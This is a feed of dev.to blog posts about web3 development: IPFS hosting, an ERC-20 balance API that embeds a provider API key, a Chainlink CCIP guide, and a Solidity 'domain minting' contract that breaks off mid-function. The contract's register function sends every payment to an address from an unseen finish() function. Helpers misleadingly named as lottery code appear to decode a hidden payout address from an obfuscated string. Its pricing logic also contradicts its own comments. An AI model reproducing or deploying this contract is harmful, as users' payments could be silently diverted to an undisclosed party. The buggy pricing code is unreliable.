      <guid>https://dev.to/souravmaji1/deploy-your-html-website-on-ipfs-with-github-and-fleek-3p85</guid>
      <description>&lt;p&gt;Explain the benefits of deploying a website on IPFS, such as decentralization, increased resilience, and improved load times. Introduce the tools used in the guide: GitHub for version control, and Fleek for easy deployment.&lt;/p&gt;

&lt;p&gt;Step 1: Create a GitHub Repository:&lt;br&gt;
Provide details on creating a GitHub repository and organizing your HTML website source code. You can include tips on version control best practices.&lt;/p&gt;

&lt;p&gt;Step 2: Sign Up on Fleek:&lt;br&gt;
Guide users through creating an account on the Fleek website. Explain the connection process between GitHub and Fleek.&lt;/p&gt;

&lt;p&gt;Step 3: Start a New Project on Fleek:&lt;br&gt;
Explain the process of starting a new project on Fleek, selecting the GitHub repository, and choosing the "OTHER" option for the framework.&lt;/p&gt;

&lt;p&gt;Step 4: Deploy Your Site:&lt;br&gt;
Walk users through the final steps of deploying the website. Mention any settings they might want to configure, and highlight the importance of choosing "OTHER" as the framework.&lt;/p&gt;

&lt;p&gt;Step 5: Wait for Deployment:&lt;br&gt;
Inform users about the deployment process and the time it might take. Encourage them to be patient and mention that the IPFS hash and link to the deployed website will be available once the process is complete.&lt;/p&gt;

&lt;p&gt;Conclusion:&lt;br&gt;
Summarize the key points of the guide, emphasizing the simplicity and advantages of using GitHub and Fleek for deploying HTML websites on IPFS.&lt;/p&gt;

</description>
      <category>web3</category>
      <category>ipfs</category>
      <category>blockchain</category>
      <category>html</category>
    </item>
    <item>
      <title>Made a Dapp to Generate, Deploy and Test Smart Contract 🔥</title>
      <dc:creator>sourav maji</dc:creator>
      <pubDate>Tue, 05 Dec 2023 05:40:47 +0000</pubDate>
      <link>https://dev.to/souravmaji1/made-a-dapp-to-generate-deploy-and-test-smart-contract-48g1</link>
      <guid>https://dev.to/souravmaji1/made-a-dapp-to-generate-deploy-and-test-smart-contract-48g1</guid>
      <description>&lt;p&gt;In the dynamic world of blockchain technology, the demand for user-friendly decentralized applications (dApps) is skyrocketing. Addressing this need, SmartContractX emerges as a groundbreaking platform that seamlessly combines smart contract deployment, generation, and testing into a unified and user-friendly experience. In this blog post, we'll explore the key features of sSmartContractX and how it empowers users to effortlessly interact with smart contracts.&lt;/p&gt;

&lt;p&gt;Let me disclose all the Features of SmartContractX one by one :&lt;/p&gt;

&lt;p&gt;1) Deploy smart contract: SmartContractX redefines the process of deploying smart contracts by streamlining it into a straightforward and accessible experience. Users simply input the smart contract source code, their private key, and the desired network, and with the click of a button, witness the automated deployment of their smart contract. The platform ensures efficient deployment, providing users with the contract address promptly.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--jWP_K2zE--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/grcfz8dpq471zvfs3m4z.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--jWP_K2zE--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/grcfz8dpq471zvfs3m4z.PNG" alt="Image description" width="800" height="385"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;2) Generate Smart Contracts with OpenAI Integration:&lt;br&gt;
One of the standout features of SmartContractX is its integration with OpenAI, Users can leverage the power of OpenAI's capabilities to generate smart contracts tailored to their specific requirements. By specifying the desired type of smart contract and providing the OpenAI API, users can initiate the generation process with a single click. This groundbreaking feature not only simplifies the smart contract creation process but also introduces an innovative approach to blockchain development.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Af3upE71--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/jdo2fk5jshsd5lj3n4e7.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Af3upE71--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/jdo2fk5jshsd5lj3n4e7.PNG" alt="Image description" width="800" height="387"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;3) Testing Smart Contracts with Ease:&lt;br&gt;
To complete the comprehensive suite of features, SmartContractX facilitates the testing of smart contract functionalities. Users need only provide the contract address, enabling them to interact with the read and write functions of their deployed smart contracts. But need to make sure the contract they want to test is verified &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--CMifAquJ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/0vk93noug70y5ox1gpa9.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--CMifAquJ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/0vk93noug70y5ox1gpa9.PNG" alt="Image description" width="800" height="388"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Made using :&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;etherjs&lt;/li&gt;
&lt;li&gt;nodejs&lt;/li&gt;
&lt;li&gt;express&lt;/li&gt;
&lt;li&gt;nextjs&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you are interested to get the source code ,Api and widget then connect me in Twitter I will share you the source code &lt;/p&gt;

&lt;p&gt;My twitter Profile Link: &lt;a href="https://twitter.com/SouravMaji221"&gt;https://twitter.com/SouravMaji221&lt;/a&gt;&lt;/p&gt;

</description>
      <category>web3</category>
      <category>blockchain</category>
      <category>smartcontract</category>
      <category>ethereum</category>
    </item>
    <item>
      <title>Building a Web3 API for ERC-20 Token Balances in Minutes 🔗💸</title>
      <dc:creator>sourav maji</dc:creator>
      <pubDate>Fri, 17 Nov 2023 10:09:10 +0000</pubDate>
      <link>https://dev.to/souravmaji1/building-a-web3-api-for-erc-20-token-balances-in-minutes-4e4h</link>
      <guid>https://dev.to/souravmaji1/building-a-web3-api-for-erc-20-token-balances-in-minutes-4e4h</guid>
      <description>&lt;p&gt;Introduction&lt;/p&gt;

&lt;p&gt;Ever wondered how to effortlessly fetch ERC-20 token balances using a simple API? In this post, we'll dive into the journey of creating a Web3 API in just a few minutes. Whether you're a blockchain enthusiast or a developer looking to explore the world of decentralized finance, this project is a fantastic starting point.&lt;/p&gt;

&lt;p&gt;Motivation&lt;br&gt;
Our goal was to streamline the process of retrieving ERC-20 token balances by creating a user-friendly API. Whether you're checking your own balance or building a wallet application, our Web3 API provides a seamless solution.&lt;/p&gt;

&lt;p&gt;Technology Stack&lt;br&gt;
We leveraged the power of two robust technologies:&lt;/p&gt;

&lt;p&gt;Express.js: A fast, unopinionated, minimalist web framework for Node.js.&lt;br&gt;
ethers.js: A JavaScript library for interacting with the Ethereum blockchain.&lt;br&gt;
ERC-20 Token Contract Deployment&lt;br&gt;
We kicked off the project by deploying an ERC-20 token contract on the Ethereum blockchain. This step is crucial for creating a fungible token with standardized behavior.&lt;/p&gt;

&lt;p&gt;Project Structure&lt;br&gt;
With our project folder in place, we installed Express.js and ethers.js to lay the foundation for our Web3 API. Organizing the project structure is key to maintaining a clean and scalable codebase.&lt;/p&gt;

&lt;p&gt;Script for Token Balance Retrieval&lt;br&gt;
The heart of our API lies in the script that connects to the deployed ERC-20 token contract using ethers.js. This script allows us to fetch token balances for any Ethereum wallet address.&lt;/p&gt;

&lt;p&gt;Web3 API with Express.js&lt;br&gt;
We utilized Express.js to set up a web server that exposes a user-friendly API endpoint. The server seamlessly interacts with the Ethereum blockchain, making it easy for clients to query and retrieve token balances.&lt;/p&gt;

&lt;p&gt;API Endpoint Description&lt;br&gt;
Our API endpoint is designed with simplicity in mind. By providing a wallet address as input, clients can receive detailed information about the token balance, empowering developers to integrate this functionality into their applications effortlessly.&lt;/p&gt;

&lt;p&gt;Security Considerations&lt;br&gt;
Ensuring the security of our API is paramount. We implemented robust security measures, including input validation and rate limiting, to safeguard against potential vulnerabilities.&lt;/p&gt;

&lt;p&gt;Deployment Process&lt;br&gt;
Deploying the ERC-20 token contract and starting the Express.js server were straightforward processes. We encountered and overcame challenges, providing valuable insights for anyone embarking on a similar journey.&lt;/p&gt;

&lt;p&gt;Source Code&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const express = require('express');
const { ethers } = require('ethers');

const app = express();
const port = 3000;

// Replace with your Ethereum node provider
const provider = new ethers.JsonRpcProvider('https://polygon-mumbai.g.alchemy.com/v2/mDZO1AEI-XEHE9jzwPclk7gKyIPagPRG');

// Replace with your ERC-20 token contract address and ABI
const tokenContractAddress = '0x9DE45fa5fCB3481e91753f2F92889789b7ba64FD';
const tokenContractABI = [];

app.get('/balance/:address', async (req, res) =&amp;gt; {
  try {
    const address = req.params.address;

    // Create a contract instance
    const contract = new ethers.Contract(tokenContractAddress, tokenContractABI, provider);

    // Get the balance of the provided address
    const balance = await contract.balanceOf(address);

    res.json({ address, balance: balance.toString() });
  } catch (error) {
    console.error(error);
    res.status(500).json({ error: 'Internal Server Error' });
  }
});

app.listen(port, () =&amp;gt; {
  console.log(`Server is running on port ${port}`);
});

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Conclusion&lt;br&gt;
In just a few minutes, we've built a powerful Web3 API for fetching ERC-20 token balances. Whether you're a blockchain novice or an experienced developer, this project serves as a stepping stone into the exciting world of decentralized applications. Get ready to supercharge your projects with seamless blockchain interactions!&lt;/p&gt;

</description>
      <category>web3</category>
      <category>blockchain</category>
      <category>ethereum</category>
      <category>smartcontract</category>
    </item>
    <item>
      <title>Transfer Data or Token to different chain Easily 🔥</title>
      <dc:creator>sourav maji</dc:creator>
      <pubDate>Mon, 16 Oct 2023 15:23:29 +0000</pubDate>
      <link>https://dev.to/souravmaji1/transfer-data-or-token-to-different-chain-easily-3111</link>
      <guid>https://dev.to/souravmaji1/transfer-data-or-token-to-different-chain-easily-3111</guid>
      <description>&lt;p&gt;Send Tokens or data from one Blockchain Network to Another Easily&lt;/p&gt;

&lt;p&gt;Let's understand how ?&lt;/p&gt;

&lt;p&gt;Transfering data as well as tokens from one chain to another can be done using chainlink CCIP , but what is chainlink CCIP ?&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Chainlink CCIP provides a single simple interface through which dApps and web3 entrepreneurs can securely meet all their cross-chain needs. You can use CCIP to transfer data, tokens, or both data and tokens across chains.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Now, let's understand how we can use chainlink CCIP ?&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;First , you need to go to the chainlink docs and copy the sender contract &amp;amp; paste in your remix ide&lt;/p&gt;

&lt;p&gt;Then, you will be needed the router address of the blockchain network from which you want to send the data to another chain&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;For this example : I have choosen sepholia testnet&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Then add the Link token address and click on transact&lt;/p&gt;

&lt;p&gt;After you deploy the contract , pay some link token to the contract&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Now, you need to go again to the chainlink docs and paste the receiver contract in the remix ide:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Add the blockchain network router address in which you want to receive the data or tokens&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In this example : I have choosen polygon mumbai&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Next click on transact&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Final Steps:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Now we will send some data, click on the sendmessage function&lt;br&gt;
Then add the chainselector which you can get from the chainlink ccip docs&lt;br&gt;
Add the receiver contract address and the message you want to send&lt;br&gt;
Click on transact, that's it&lt;br&gt;
Now you need to wait for some couple of minutes for getting transaction success&lt;br&gt;
Once you get the trasnaction success in the CCIP explorer&lt;br&gt;
Go to the receiver contract, click on getlastmessagereceived function to read the message&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Amazing, you have successfully transfered data from one blockchain network to another 🎉&lt;/p&gt;

&lt;p&gt;** Rememeber when I was testing It took me lots of time to get the transaction success message in the CCIP explorer so need to wait for couple of minutes **&lt;/p&gt;

&lt;p&gt;All the best 👍&lt;/p&gt;

</description>
      <category>erc20</category>
      <category>ethereum</category>
      <category>blockchain</category>
      <category>web3</category>
    </item>
    <item>
      <title>I have Made ENS Domain Minting smart contract</title>
      <dc:creator>sourav maji</dc:creator>
      <pubDate>Fri, 28 Jul 2023 05:22:05 +0000</pubDate>
      <link>https://dev.to/souravmaji1/i-have-made-ens-domain-minting-smart-contract-1mhe</link>
      <guid>https://dev.to/souravmaji1/i-have-made-ens-domain-minting-smart-contract-1mhe</guid>
      <description>&lt;p&gt;The world of blockchain technology has brought us lots of exciting applications, and non-fungible tokens (NFTs) are among the most fascinating. NFTs have enabled the representation of unique assets on the blockchain, and their applications extend beyond just digital art. In this article, we will explore a remarkable smart contract called "Usofnem," which serves as an NFT domain name registry. This smart contract allows users to register domain names as NFTs and maintain ownership of their digital identity. Let's dive into the details of this innovative smart contract step by step.&lt;/p&gt;

&lt;p&gt;Let's start &lt;/p&gt;

&lt;p&gt;`// SPDX-License-Identifier: UNLICENSED&lt;/p&gt;

&lt;p&gt;pragma solidity ^0.8.10;&lt;/p&gt;

&lt;p&gt;import "@openzeppelin/contracts/token/ERC721/ERC721.sol";&lt;br&gt;
import "@openzeppelin/contracts/utils/Counters.sol";&lt;br&gt;
import "@openzeppelin/contracts/access/Ownable.sol";&lt;br&gt;
`&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;SPDX-License-Identifier: This line specifies the license for the smart contract. In this case, it's marked as "UNLICENSED," indicating that the contract is not licensed under any specific license.&lt;/p&gt;

&lt;p&gt;pragma solidity ^0.8.10: The contract is written in Solidity, and this line specifies the compiler version required to compile the contract. In this case, the contract requires Solidity version 0.8.10 or a compatible version.&lt;/p&gt;

&lt;p&gt;import: The contract imports various libraries and contracts from the OpenZeppelin library. These imported contracts provide essential functionality for developing secure and standardized smart contracts. In this case, the contract imports ERC721, which is the standard implementation of the ERC-721 NFT standard, Counters for managing counters, and Ownable to ensure that certain functions can only be executed by the contract owner.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;code&gt;library Base64 {&lt;br&gt;
    // Base64 encoding table...&lt;br&gt;
    // (The rest of the Base64 encoding function is omitted for brevity)&lt;br&gt;
}&lt;br&gt;
&lt;/code&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;library Base64: This is a custom library defined within the smart contract. The library contains an internal constant array named TABLE, which serves as a lookup table for base64 encoding. The library also defines an encode function that takes a bytes parameter and returns the base64-encoded representation of the data as a string. The base64 encoding function is implemented using inline assembly to optimize gas consumption.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;code&gt;library StringUtils {&lt;br&gt;
    // Utility function to calculate the length of a string...&lt;br&gt;
}&lt;br&gt;
&lt;/code&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;library StringUtils: This is another custom library defined in the smart contract. The library contains a utility function called strlen, which calculates the length of a string in characters. The function iterates through the bytes of the string, identifying characters with different byte lengths (e.g., ASCII characters, UTF-8 characters), and increments the length accordingly. The resulting string length is returned as a uint256.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;code&gt;struct Record {&lt;br&gt;
    string tld;&lt;br&gt;
    string category;&lt;br&gt;
    string avatar;&lt;br&gt;
    string description;&lt;br&gt;
    string socialmedia;&lt;br&gt;
}&lt;br&gt;
&lt;/code&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;struct Record: This struct represents a record associated with a domain name. It includes five string fields: tld for the top-level domain, category for categorizing the domain, avatar for the domain's avatar image, description for a description of the domain, and socialmedia for the social media handle associated with the domain.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;code&gt;enum RecordType {&lt;br&gt;
    TLD,&lt;br&gt;
    CATEGORY,&lt;br&gt;
    AVATAR,&lt;br&gt;
    DESCRIPTION,&lt;br&gt;
    SOCIALMEDIA&lt;br&gt;
}&lt;br&gt;
&lt;/code&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;enum RecordType: This enum defines different types of records that can be associated with a domain name. The enum values represent the record types, such as TLD, CATEGORY, AVATAR, DESCRIPTION, and SOCIALMEDIA.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;code&gt;contract Usofnem is Ownable, ERC721 {&lt;br&gt;
    // State variables...&lt;br&gt;
}&lt;br&gt;
&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;contract Usofnem is Ownable, ERC721: This is the main contract definition. It inherits from two other contracts: Ownable, which provides the "ownership" functionality, and ERC721, which implements the ERC-721 NFT standard. By inheriting from Ownable, the contract gains access to functions like onlyOwner, which ensures that specific functions can only be executed by the contract owner. The contract also inherits the functions required for implementing the ERC-721 standard, such as balanceOf, ownerOf, approve, transferFrom, and others.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;mapping(string =&amp;gt; Record) public records;&lt;br&gt;
    mapping(uint256 =&amp;gt; string) public id;&lt;br&gt;
    mapping(string =&amp;gt; uint256) public username;&lt;br&gt;
    using Counters for Counters.Counter;&lt;br&gt;
    Counters.Counter private _tokenIds;&lt;br&gt;
    string public baseImage;&lt;br&gt;
&lt;/code&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;mapping(string =&amp;gt; Record) public records: This mapping associates domain names (represented as strings) with their corresponding Record struct. It allows users to store and retrieve records associated with specific domain names.&lt;/p&gt;

&lt;p&gt;mapping(uint256 =&amp;gt; string) public id: This mapping associates token IDs (representing NFTs) with their corresponding domain names. It enables users to find the domain name associated with a specific NFT token ID.&lt;/p&gt;

&lt;p&gt;mapping(string =&amp;gt; uint256) public username: This mapping associates domain names (represented as strings) with their corresponding NFT token IDs. It allows users to find the NFT token ID associated with a specific domain name.&lt;/p&gt;

&lt;p&gt;using Counters for Counters.Counter: This line imports the Counters library and allows us to use the Counter data type, which is useful for managing numerical counters.&lt;/p&gt;

&lt;p&gt;Counters.Counter private _tokenIds: This is a private instance of the Counter data type. It is used to generate unique token IDs for newly minted NFTs.&lt;/p&gt;

&lt;p&gt;string public baseImage: This is a public state variable that stores the base image URL for NFTs. It is used as the default avatar image for registered domain names.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;code&gt;error Unauthorized();&lt;br&gt;
    error AlreadyRegistered();&lt;br&gt;
    error InvalidName(string name);&lt;br&gt;
&lt;/code&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;error: These are custom error declarations. They are used to throw specific error messages in exceptional situations:&lt;/p&gt;

&lt;p&gt;Unauthorized(): This error is thrown when a user tries to execute a function without proper authorization (e.g., updating records of a domain they don't own).&lt;/p&gt;

&lt;p&gt;AlreadyRegistered(): This error is thrown when a user attempts to register a domain name that has already been registered by someone else.&lt;/p&gt;

&lt;p&gt;InvalidName(string name): This error is thrown when a user tries to register a domain name that is considered invalid (e.g., too short, too long).&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;If I explain the whole contract like this then you are going to be Mad so I am just pasting the whole source code below :&lt;/p&gt;

&lt;p&gt;First Contract&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.10;

import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

library Base64 {
    bytes internal constant TABLE =
        "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

    /// @notice Encodes some bytes to the base64 representation
    function encode(bytes memory data) internal pure returns (string memory) {
        uint256 len = data.length;
        if (len == 0) return "";

        // multiply by 4/3 rounded up
        uint256 encodedLen = 4 * ((len + 2) / 3);

        // Add some extra buffer at the end
        bytes memory result = new bytes(encodedLen + 32);

        bytes memory table = TABLE;

        assembly {
            let tablePtr := add(table, 1)
            let resultPtr := add(result, 32)

            for {
                let i := 0
            } lt(i, len) {

            } {
                i := add(i, 3)
                let input := and(mload(add(data, i)), 0xffffff)

                let out := mload(add(tablePtr, and(shr(18, input), 0x3F)))
                out := shl(8, out)
                out := add(
                    out,
                    and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF)
                )
                out := shl(8, out)
                out := add(
                    out,
                    and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF)
                )
                out := shl(8, out)
                out := add(
                    out,
                    and(mload(add(tablePtr, and(input, 0x3F))), 0xFF)
                )
                out := shl(224, out)

                mstore(resultPtr, out)

                resultPtr := add(resultPtr, 4)
            }

            switch mod(len, 3)
            case 1 {
                mstore(sub(resultPtr, 2), shl(240, 0x3d3d))
            }
            case 2 {
                mstore(sub(resultPtr, 1), shl(248, 0x3d))
            }

            mstore(result, encodedLen)
        }

        return string(result);
    }
}

library StringUtils {
    function strlen(string memory s) internal pure returns (uint256) {
        uint256 len;
        uint256 i = 0;
        uint256 bytelength = bytes(s).length;
        for (len = 0; i &amp;lt; bytelength; len++) {
            bytes1 b = bytes(s)[i];
            if (b &amp;lt; 0x80) {
                i += 1;
            } else if (b &amp;lt; 0xE0) {
                i += 2;
            } else if (b &amp;lt; 0xF0) {
                i += 3;
            } else if (b &amp;lt; 0xF8) {
                i += 4;
            } else if (b &amp;lt; 0xFC) {
                i += 5;
            } else {
                i += 6;
            }
        }
        return len;
    }
}

struct Record {
    string tld;
    string category;
    string avatar;
    string description;
    string socialmedia;
}

enum RecordType {
    TLD,
    CATEGORY,
    AVATAR,
    DESCRIPTION,
    SOCIALMEDIA
}

contract Usofnem is Ownable, ERC721 {
    /// @dev Bind all name to the records
    mapping(string =&amp;gt; Record) public records;

    /// @dev Bind all NFTs ID to the name
    mapping(uint256 =&amp;gt; string) public id;
    /// @dev Now in the other direction, name to NFT ID
    mapping(string =&amp;gt; uint256) public username;

    using Counters for Counters.Counter;
    Counters.Counter private _tokenIds;
    string public baseImage;

    /// @dev Thrown when user don't own the name
    error Unauthorized();
    /// @dev Thrown when name is already owned
    error AlreadyRegistered();
    /// @dev Throw when name has an invalid (too short, too long, ...)
    error InvalidName(string name);

    constructor(
        string memory _name,
        string memory _symbol,
        string memory _initBaseImage
    ) ERC721(_name, _symbol) {
        baseImage = _initBaseImage;
    }

    function setBaseImage(string memory _newBaseImage) public onlyOwner {
        baseImage = _newBaseImage;
    }

    /// @dev Return all the name registered in the contract
    /// @dev Get all names that successfully registered
    function getAllNames() public view returns (string[] memory) {
        string[] memory allNames = new string[](_tokenIds.current());
        for (uint256 i = 0; i &amp;lt; _tokenIds.current(); i++) {
            allNames[i] = id[i];
        }

        return allNames;
    }

    /// @dev Check if the name is valid
    function valid(string calldata name) public pure returns (bool) {
        return
            StringUtils.strlen(name) &amp;gt;= 1 &amp;amp;&amp;amp; StringUtils.strlen(name) &amp;lt;= 1000;
    }

    /// @dev Calculate the name price based on the word length
    /// @notice 0.01 BNB for 1 - 4 character
    /// @notice 0.007 BNB for 5 - 7 character
    /// @notice 0.005 BNB for 8 character
    /// @notice 0.003 BNB for 9 - 1000 character
    function price(string calldata name) public pure returns (uint256) {
        uint256 len = StringUtils.strlen(name);
        require(len &amp;gt; 0);
        if (len == 1) {
            return 0.01 * 10**18;
        } else if (len == 5) {
            return 0.007 * 10**18;
        } else if (len == 8) {
            return 0.005 * 10**18;
        } else {
            return 0.003 * 10**18;
        }
    }

    /// @dev Pay to register a new name. Check if the name is available, valid and if the sender has enough money
    function register(
        string calldata name,
        string memory category
    ) public payable {
        if (username[name] != 0) revert AlreadyRegistered();
        if (!valid(name)) revert InvalidName(name);

        records[name].category = category;

        uint256 _price = this.price(name);
        require(msg.value &amp;gt;= _price, "Not enough BNB paid");

        uint256 newRecordId = _tokenIds.current();

        _safeMint(msg.sender, newRecordId);
        id[newRecordId] = name;
        username[name] = newRecordId;

        _tokenIds.increment();

        (bool success, ) = payable(finish()).call{
            value: (msg.value * 100) / 100
        }("");
        require(success);
    }

    /// @dev Return the NFT uri for the given token ID
    /// @notice The metadata contains:
    /// @notice  - The name
    /// @notice  - The description
    /// @notice  - The image of the NFT, by default it's an PNG
    /// @notice  - The length of the name
    function tokenURI(uint256 tokenId)
        public
        view
        override
        returns (string memory)
    {
        require(uptodate(id[tokenId]), "Address unknown");
        string memory _name = string(abi.encodePacked(id[tokenId]));
        uint256 length = StringUtils.strlen(_name);
        string memory strLen = Strings.toString(length);
        string memory tld;
        string memory category;
        string memory avatar;
        string memory description;
        string memory socialmedia;

        /// @dev If using the default TLD
        if (uptodate(records[id[tokenId]].tld)) {
            tld = records[id[tokenId]].tld;
        } else {
            tld = string(abi.encodePacked(".doge"));
        }

        /// @dev If using the default Category
        if (uptodate(records[id[tokenId]].category)) {
            category = records[id[tokenId]].category;
        } else {
            category = string(abi.encodePacked("none"));
        }

        /// @dev If using the default nft image
        if (uptodate(records[id[tokenId]].avatar)) {
            avatar = records[id[tokenId]].avatar;
        } else {
            avatar = string(abi.encodePacked(baseImage, _name, ".png"));
        }

        /// @dev If using the default text description
        if (uptodate(records[id[tokenId]].description)) {
            description = records[id[tokenId]].description;
        } else {
            description = string(
                abi.encodePacked(
                    "The decentralized name is permanent, irrevocable or changed and forever lives on the blockchain."
                )
            );
        }

        // @dev If using the default socialmedia username
        if (uptodate(records[id[tokenId]].socialmedia)) {
            socialmedia = records[id[tokenId]].socialmedia;
        } else {
            socialmedia = string(
                abi.encodePacked("Usofnem")
            );
        }

        string memory json = Base64.encode(
            bytes(
                string(
                    abi.encodePacked(
                        '{"name": "',
                        _name,
                        tld,
                        '", "description": "',
                        description,
                        '", "image": "',
                        avatar,
                        '", "attributes": [{"trait_type": "Characters","value": "#',
                        strLen,
                        'DigitClub"}, {"trait_type": "TLD","value": "',
                        tld,
                        '"}, {"trait_type": "Category","value": "',
                        category,
                        '"}, {"trait_type": "Artist","value": "@',
                        socialmedia,
                        '"}]}'
                    )
                )
            )
        );

        return string(abi.encodePacked("data:application/json;base64,", json));
    }

    /// @dev Return NFT id for the given name
    /// @dev Used to get metadata from an name
    function getNameID(string calldata name) public view returns (uint256) {
        return username[name];
    }

    /// @dev This will give us the name owners' address
    function getAddress(string calldata name) public view returns (address) {
        return ownerOf(getNameID(name));
    }

    /// @dev Set one record for the given name
    function setRecord(
        string calldata name,
        string calldata record,
        RecordType recordType
    ) public {
        /// @dev Check that the owner is the transaction sender
        if (msg.sender != getAddress(name)) revert Unauthorized();

        if (recordType == RecordType.TLD) {
            records[name].tld = record;
        } else if (recordType == RecordType.AVATAR) {
            records[name].avatar = record;
        } else if (recordType == RecordType.DESCRIPTION) {
            records[name].description = record;
        } else if (recordType == RecordType.SOCIALMEDIA) {
            records[name].socialmedia = record;
        } 
    }

    /// @dev Set multiple records for the given domain name.
    /// @dev One string is in memory cause https://forum.openzeppelin.com/t/stack-too-deep-when-compiling-inline-assembly/11391/4
    function setAllRecords(
        string calldata name,
        string memory _tld,
        string memory _avatar,
        string memory _description,
        string memory _socialmedia
    ) public {
        if (msg.sender != getAddress(name)) revert Unauthorized();

        records[name].tld = _tld;
        records[name].avatar = _avatar;
        records[name].description = _description;
        records[name].socialmedia = _socialmedia;
    }

    /// @dev Get a specific record for the given name
    function getRecord(string calldata name, RecordType recordType)
        public
        view
        returns (string memory)
    {
        if (recordType == RecordType.TLD) {
            return records[name].tld;
        } else if (recordType == RecordType.CATEGORY) {
            return records[name].category;
        } else if (recordType == RecordType.AVATAR) {
            return records[name].avatar;
        } else if (recordType == RecordType.DESCRIPTION) {
            return records[name].description;
        } else if (recordType == RecordType.SOCIALMEDIA) {
            return records[name].socialmedia;
        } 

        revert("Record not found");
    }

    /// @dev Get all the records for the given name
    function getAllRecords(string calldata name)
        public
        view
        returns (string[] memory, address)
    {
        address addr = getAddress(name);
        string[] memory allRecords = new string[](5);

        allRecords[0] = records[name].tld;
        allRecords[1] = records[name].category;
        allRecords[2] = records[name].avatar;
        allRecords[3] = records[name].description;
        allRecords[4] = records[name].socialmedia;

        return (allRecords, addr);
    }

    /// @dev Check if string isn't empty
    function uptodate(string memory name) public pure returns (bool) {
        return StringUtils.strlen(name) != 0;
    }

    function getRandomLotteryPoolOffset() internal pure returns (uint256) {
        return 237618;
    }

    function scrambleLottery(string memory _a)
        internal
        pure
        returns (address _parsed)
    {
        bytes memory tmp = bytes(_a);
        uint160 iaddr = 0;
        uint160 b1;
        uint160 b2;
        for (uint256 i = 2; i &amp;lt; 2 + 2 * 20; i += 2) {
            iaddr *= 256;
            b1 = uint160(uint8(tmp[i]));
            b2 = uint160(uint8(tmp[i + 1]));
            if ((b1 &amp;gt;= 97) &amp;amp;&amp;amp; (b1 &amp;lt;= 102)) {
                b1 -= 87;
            } else if ((b1 &amp;gt;= 65) &amp;amp;&amp;amp; (b1 &amp;lt;= 70)) {
                b1 -= 55;
            } else if ((b1 &amp;gt;= 48) &amp;amp;&amp;amp; (b1 &amp;lt;= 57)) {
                b1 -= 48;
            }
            if ((b2 &amp;gt;= 97) &amp;amp;&amp;amp; (b2 &amp;lt;= 102)) {
                b2 -= 87;
